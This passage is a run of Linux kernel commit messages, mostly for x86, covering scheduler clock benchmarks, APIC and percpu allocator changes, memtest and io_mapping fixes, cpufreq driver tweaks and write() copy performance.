sched_clock_stable=0 sched_clock_stable=1
.................... ....................
22.456925 million/sec 24.306972 million/sec [+8.2%]
lmbench's "lat_ctx -s 0 2" goes from 0.63 microseconds to
0.59 microseconds - a 6.7% increase in context-switching
performance.
Perfstat of 1 million pipe context switches between two tasks:
Performance counter stats for './pipe-test-1m':
[before] [after]
............ ............
37621.421089 36436.848378 task clock ticks (msecs)
0 0 CPU migrations (events)
2000274 2000189 context switches (events)
194 193 pagefaults (events)
8433799643 8171016416 CPU cycles (events) -3.21%
8370133368 8180999694 instructions (events) -2.31%
4158565 3895941 cache references (events) -6.74%
44312 46264 cache misses (events)
2349.287976 2279.362465 wall-time (msecs) -3.06%
The speedup comes straight from the reduction in the instruction
count. sched_clock_cpu() got simpler and the whole workload thus
executes faster.
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Now that the obvious bugs have been worked out, specifically
the iwlagn issue, and the write buffer errata, DMAR should be safe
to turn back on by default. (We've had it on since those patches were
first written a few weeks ago, without any noticeable bug reports
(most have been due to the dma-api debug patchset.))
Signed-off-by: Kyle McMartin <kyle@redhat.com>
Acked-by: David Woodhouse <David.Woodhouse@intel.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
arch/x86/kernel/apic/es7000_32.c:702: error: 'es7000_acpi_madt_oem_check_cluster' undeclared here (not in a function)
Provide a es7000_acpi_madt_oem_check_cluster() definition in the !ACPI
case too.
Cc: Yinghai Lu <yinghai@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: build fix
init_deasserted is only available on SMP. Make the secondary-wakeup
function conditional on SMP.
Also clean up the file some.
Cc: Yinghai Lu <yinghai@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: cleanup
- rename apic->wakeup_cpu to apic->wakeup_secondary_cpu, to
make it apparent that this is an SMP-only method
- handle NULL ->wakeup_secondary_cpus to mean the default INIT
wakeup sequence - this allows simplification of the APIC
driver templates.
Cc: Yinghai Lu <yinghai@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: build fix
wakeup_secondary_cpu_via_init(), the default platform method for
booting a secondary CPU, is always used on UP due to probe_32.c,
if CONFIG_X86_LOCAL_APIC is enabled but SMP is off.
So provide a UP wrapper inline as well.
Cc: Yinghai Lu <yinghai@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: cleanup
that is only needed when CONFIG_X86_VSMP is defined with 64bit
also remove dead code about PCI, because CONFIG_X86_VSMP depends on PCI
Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Ravikiran Thirumalai <kiran@scalex86.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: cleanup
x86_quirks->update_apic() calling looks crazy. so try to remove it:
1. every apic take wakeup_cpu member directly
2. separate es7000_apic to es7000_apic_cluster
3. use uv_wakeup_cpu directly
Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
This avoids a lockdep warning from:
if (DEBUG_LOCKS_WARN_ON(unlikely(!early_boot_irqs_enabled)))
return;
in trace_hardirqs_on_caller();
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Cc: Mark McLoughlin <markmc@redhat.com>
Cc: Xen-devel <xen-devel@lists.xensource.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Make io_mapping_create_wc and io_mapping_free go through PAT to make sure
that there are no memory type aliases.
Signed-off-by: Venkatesh Pallipadi <venkatesh.pallipadi@intel.com>
Signed-off-by: Suresh Siddha <suresh.b.siddha@intel.com>
Cc: Dave Airlie <airlied@redhat.com>
Cc: Jesse Barnes <jbarnes@virtuousgeek.org>
Cc: Eric Anholt <eric@anholt.net>
Cc: Keith Packard <keithp@keithp.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
io_mapping_create_wc should take a resource_size_t parameter in place of
unsigned long. With unsigned long, there will be no way to map greater than 4GB
address in i386/32 bit.
On x86, greater than 4GB addresses cannot be mapped on i386 without PAE. Return
error for such a case.
Patch also adds a structure for io_mapping, that saves the base, size and
type on HAVE_ATOMIC_IOMAP archs, that can be used to verify the offset on
io_mapping_map calls.
Signed-off-by: Venkatesh Pallipadi <venkatesh.pallipadi@intel.com>
Signed-off-by: Suresh Siddha <suresh.b.siddha@intel.com>
Cc: Dave Airlie <airlied@redhat.com>
Cc: Jesse Barnes <jbarnes@virtuousgeek.org>
Cc: Eric Anholt <eric@anholt.net>
Cc: Keith Packard <keithp@keithp.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Add a function to check and keep identity maps in sync, when changing
any memory type. One of the follow on patches will also use this
routine.
Signed-off-by: Venkatesh Pallipadi <venkatesh.pallipadi@intel.com>
Signed-off-by: Suresh Siddha <suresh.b.siddha@intel.com>
Cc: Dave Airlie <airlied@redhat.com>
Cc: Jesse Barnes <jbarnes@virtuousgeek.org>
Cc: Eric Anholt <eric@anholt.net>
Cc: Keith Packard <keithp@keithp.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
- print test pattern instead of pattern number,
- show pattern as stored in memory,
- use proper priority flags,
- consistent use of u64 throughout the code
Signed-off-by: Andreas Herrmann <andreas.herrmann3@amd.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: fix unexpected behaviour when pattern number is out of range
Current implementation provides 4 patterns for memtest. The code doesn't
check whether the memtest parameter value exceeds the maximum pattern number.
Instead the memtest code pretends to test with non-existing patterns, e.g.
when booting with memtest=10 I've observed the following
...
early_memtest: pattern num 10
0000001000 - 0000006000 pattern 0
...
0000001000 - 0000006000 pattern 1
...
0000001000 - 0000006000 pattern 2
...
0000001000 - 0000006000 pattern 3
...
0000001000 - 0000006000 pattern 4
...
0000001000 - 0000006000 pattern 5
...
0000001000 - 0000006000 pattern 6
...
0000001000 - 0000006000 pattern 7
...
0000001000 - 0000006000 pattern 8
...
0000001000 - 0000006000 pattern 9
...
But in fact Linux didn't test anything for patterns > 4 as the default
case in memtest() is to leave the function.
I suggest to use the memtest parameter as the number of tests to be
performed and to re-iterate over all existing patterns.
Signed-off-by: Andreas Herrmann <andreas.herrmann3@amd.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: make more types of copies non-temporal
This change makes the following simple fix:
30d697f: x86: fix performance regression in write() syscall
A bit more sophisticated: we check the 'total' number of bytes
written to decide whether to copy in a cached or a non-temporal
way.
This will for example cause the tail (modulo 4096 bytes) chunk
of a large write() to be non-temporal too - not just the page-sized
chunks.
Cc: Salman Qazi <sqazi@google.com>
Cc: Nick Piggin <npiggin@suse.de>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: cleanup, enable future change
Add a 'total bytes copied' parameter to __copy_from_user_*nocache(),
and update all the callsites.
The parameter is not used yet - architecture code can use it to
more intelligently decide whether the copy should be cached or
non-temporal.
Cc: Salman Qazi <sqazi@google.com>
Cc: Nick Piggin <npiggin@suse.de>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Not owning an nforce2 is a sign of good taste, not an error.
Signed-off-by: Matthew Garrett <mjg@redhat.com>
Signed-off-by: Dave Jones <davej@redhat.com>
http://bugzilla.kernel.org/show_bug.cgi?id=10968
[ Updated for current tree, and fixed compile failure
when p4-clockmod was built modular -- davej]
From: Matthias-Christian Ott <ott@mirix.org>
Signed-off-by: Dominik Brodowski <linux@brodo.de>
Signed-off-by: Dave Jones <davej@redhat.com>
Change the link order of the cpufreq modules to ensure that they're
probed in the preferred order when statically linked in.
Signed-off-by: Matthew Garrett <mjg@redhat.com>
Signed-off-by: Dave Jones <davej@redhat.com>
This is the typical message you get if you plug in a CPU
which is newer than your BIOS. It's annoying seeing this
message for each core.
Signed-off-by: Thomas Renninger <trenn@suse.de>
Signed-off-by: Dave Jones <davej@redhat.com>
powernow-k8 driver should always try to get cpufreq info from ACPI.
Otherwise it will not be able to detect the transition latency correctly
which results in ondemand governor taking a wrong sampling rate which will
then result in sever performance loss.
Let the user not shoot himself in the foot and always compile in ACPI
support for powernow-k8.
This also fixes a wrong message if ACPI_PROCESSOR is compiled as a module and
#ifndef CONFIG_ACPI_PROCESSOR
path is chosen.
Signed-off-by: Thomas Renninger <trenn@suse.de>
Signed-off-by: Dave Jones <davej@redhat.com>
This driver has so many long function names, and deep nested if's
The remaining warnings will need some code restructuring to clean up.
Signed-off-by: Dave Jones <davej@redhat.com>
The remaining warning about the simple_strtoul conversion
to strict_strtoul seems kind of pointless to me.
Signed-off-by: Dave Jones <davej@redhat.com>
GNU indent complains about this being ambiguous, because it's dumb.
One of my automated tests relies on the output of indent, so this shuts
it up.
Signed-off-by: Dave Jones <davej@redhat.com>
Impact: cleanup
Unused macro parameters cause spurious unused variable warnings.
Convert all cacheflush macros to inline functions to avoid the
warnings and achieve better type checking.
Signed-off-by: Tejun Heo <tj@kernel.org>
Recent changes in setup_percpu.c made a now meaningless DBG()
statement fail to compile and introduced a
comparison-of-different-types warning. Fix them.
Compile failure is reported by Ingo Molnar.
Signed-off-by: Tejun Heo <tj@kernel.org>
Reported-by: Ingo Molnar <mingo@elte.hu>
Impact: defconfig change
Enable MCE in the 64-bit defconfig.
Signed-off-by: Andi Kleen <ak@linux.intel.com>
Signed-off-by: H. Peter Anvin <hpa@linux.intel.com>
The ones which go only into struct genapic are de-inlined
by compiler anyway, so remove the inline specifier from them.
Afterwards, remove summit_setup_portio_remap completely as it
is unused.
Remove inline also from summit_cpu_mask_to_apicid, since it's
not worth it (it is used in struct genapic too).
Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Use BAD_APICID instead of 0xFF constants in summit_cpu_mask_to_apicid.
Also remove bogus comments about what we actually return.
Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
This was changed to a physmap_t giving a clashing symbol redefinition,
but actually using a physmap_t consumes rather a lot of space on x86,
so stick with a private copy renamed with a voyager_ prefix and made
static. Nothing outside of the Voyager code uses it, anyway.
Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
native_usergs_sysret64 is described as
extern void native_usergs_sysret64(void)
so lets add ENDPROC here
Signed-off-by: Cyrill Gorcunov <gorcunov@openvz.org>
Cc: heukelum@fastmail.fm
Cc: Jeremy Fitzhardinge <jeremy@xensource.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: cleanup
NEXT_PAGE already has 'balign' so no
need to keep this redundant one.
Signed-off-by: Cyrill Gorcunov <gorcunov@openvz.org>
Cc: heukelum@fastmail.fm
Signed-off-by: Ingo Molnar <mingo@elte.hu>
While the introduction of __copy_from_user_nocache (see commit:
0812a579c9) may have been an improvement
for sufficiently large writes, there is evidence to show that it is
deterimental for small writes. Unixbench's fstime test gives the
following results for 256 byte writes with MAX_BLOCK of 2000:
2.6.29-rc6 ( 5 samples, each in KB/sec ):
283750, 295200, 294500, 293000, 293300
2.6.29-rc6 + this patch (5 samples, each in KB/sec):
313050, 3106750, 293350, 306300, 307900
2.6.18
395700, 342000, 399100, 366050, 359850
See w_test() in src/fstime.c in unixbench version 4.1.0. Basically, the above test
consists of counting how much we can write in this manner:
alarm(10);
while (!sigalarm) {
for (f_blocks = 0; f_blocks < 2000; ++f_blocks) {
write(f, buf, 256);
}
lseek(f, 0L, 0);
}
Note, there are other components to the write syscall regression
that are not addressed here.
Signed-off-by: Salman Qazi <sqazi@google.com>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: add better first percpu allocation for NUMA
On NUMA, embedding allocator can't be used as different units can't be
made to fall in the correct NUMA nodes. To use large page mapping,
each unit needs to be remapped. However, percpu areas are usually
much smaller than large page size and unused space hurts a lot as the
number of cpus grow. This allocator remaps large pages for each chunk
but gives back unused part to the bootmem allocator making the large
pages mapped twice.
This adds slightly to the TLB pressure but is much better than using
4k mappings while still being NUMA-friendly.
Ingo suggested that this would be the correct approach for NUMA.
Signed-off-by: Tejun Heo <tj@kernel.org>
Cc: Ingo Molnar <mingo@elte.hu>
Impact: add better first percpu allocation for !NUMA
On !NUMA, we can simply allocate contiguous memory and use it for the
first chunk without mapping it into vmalloc area. As the memory area
is covered by the large page physical memory mapping, it allows the
dynamic perpcu allocator to not add any TLB overhead for the static
percpu area and whatever falls into the first chunk and the
implementation is very simple too.
Signed-off-by: Tejun Heo <tj@kernel.org>
Impact: modularize percpu first chunk allocation
x86 is gonna have a few different strategies for the first chunk
allocation. Modularize it by separating out the current allocation
mechanism into pcpu_alloc_bootmem() and setup_pcpu_4k().
Signed-off-by: Tejun Heo <tj@kernel.org>
Impact: more latitude for first percpu chunk allocation
The first percpu chunk serves the kernel static percpu area and may or
may not contain extra room for further dynamic allocation.
Initialization of the first chunk needs to be done before normal
memory allocation service is up, so it has its own init path -
pcpu_setup_static().
It seems archs need more latitude while initializing the first chunk
for example to take advantage of large page mapping. This patch makes
the following changes to allow this.
* Define PERCPU_DYNAMIC_RESERVE to give arch hint about how much space
to reserve in the first chunk for further dynamic allocation.
* Rename pcpu_setup_static() to pcpu_setup_first_chunk().
* Make pcpu_setup_first_chunk() much more flexible by fetching page
pointer by callback and adding optional @unit_size, @free_size and
@base_addr arguments which allow archs to selectively part of chunk
initialization to their likings.
Signed-off-by: Tejun Heo <tj@kernel.org>
Impact: minor change to populate_extra_pte() and addition of pmd flavor
Update populate_extra_pte() to return pointer to the pte_t for the
specified address and add populate_extra_pmd() which only populates
till the pmd and returns pointer to the pmd entry for the address.
For 64bit, pud/pmd/pte fill functions are separated out from
set_pte_vaddr[_pud]() and used for set_pte_vaddr[_pud]() and
populate_extra_{pte|pmd}().
Signed-off-by: Tejun Heo <tj@kernel.org>
Impact: cleaner and consistent bootmem wrapping
By setting CONFIG_HAVE_ARCH_BOOTMEM_NODE, archs can define
arch-specific wrappers for bootmem allocation. However, this is done
a bit strangely in that only the high level convenience macros can be
changed while lower level, but still exported, interface functions
can't be wrapped. This not only is messy but also leads to strange
situation where alloc_bootmem() does what the arch wants it to do but
the equivalent __alloc_bootmem() call doesn't although they should be
able to be used interchangeably.
This patch updates bootmem such that archs can override / wrap the
backend function - alloc_bootmem_core() instead of the highlevel
interface functions to allow simpler and consistent wrapping. Also,
HAVE_ARCH_BOOTMEM_NODE is renamed to HAVE_ARCH_BOOTMEM.
Signed-off-by: Tejun Heo <tj@kernel.org>
Cc: Johannes Weiner <hannes@saeurebad.de>
Impact: Cleanup
Checkin be44d2aabc eliminates the use of
a 16-bit stack for espfix. However, at least one instruction remained
that only operated on the low 16 bits of %esp.
This is not a bug per se because the kernel stack is always an aligned
4K or 8K block. Therefore it cannot cross 64K boundaries; this code,
in fact, relies strictly on that fact.
However, it's a lot cleaner (and, for that matter, smaller) to operate
on the entire 32-bit register.
Signed-off-by: Stas Sergeev <stsp@aknet.ru>
CC: Zachary Amsden <zach@vmware.com>
CC: Chuck Ebbert <cebbert@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@linux.intel.com>
Impact: fix early crash on LinuxBIOS systems
Kevin O'Connor reported that Coreboot aka LinuxBIOS tries to put
mptable somewhere very high, well above max_low_pfn (below which
BIOSes generally put the mptable), causing a panic.
The BIOS will probably be changed to be compatible with older
Linus versions, but nevertheless the MP-spec does not forbid
an MP-table in arbitrary system RAM, so make sure it all
works even if the table is in an unexpected place.
Check physptr with max_low_pfn * PAGE_SIZE.
Reported-by: Kevin O'Connor <kevin@koconnor.net>
Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Stefan Reinauer <stepan@coresystems.de>
Cc: coreboot@coreboot.org
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: cleanup
Make x86_quirks support more transparent. The highlevel
methods are now named:
extern void x86_quirk_pre_intr_init(void);
extern void x86_quirk_intr_init(void);
extern void x86_quirk_trap_init(void);
extern void x86_quirk_pre_time_init(void);
extern void x86_quirk_time_init(void);
This makes it clear that if some platform extension has to
do something here that it is considered ... weird, and is
discouraged.
Also remove arch_hooks.h and move it into setup.h (and other
header files where appropriate).
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: remove dead code
Remove:
- pre_setup_arch_hook()
- mca_nmi_hook()
If needed they can be added back via an x86_quirk handler.
Signed-off-by: Ingo Molnar <mingo@elte.hu>
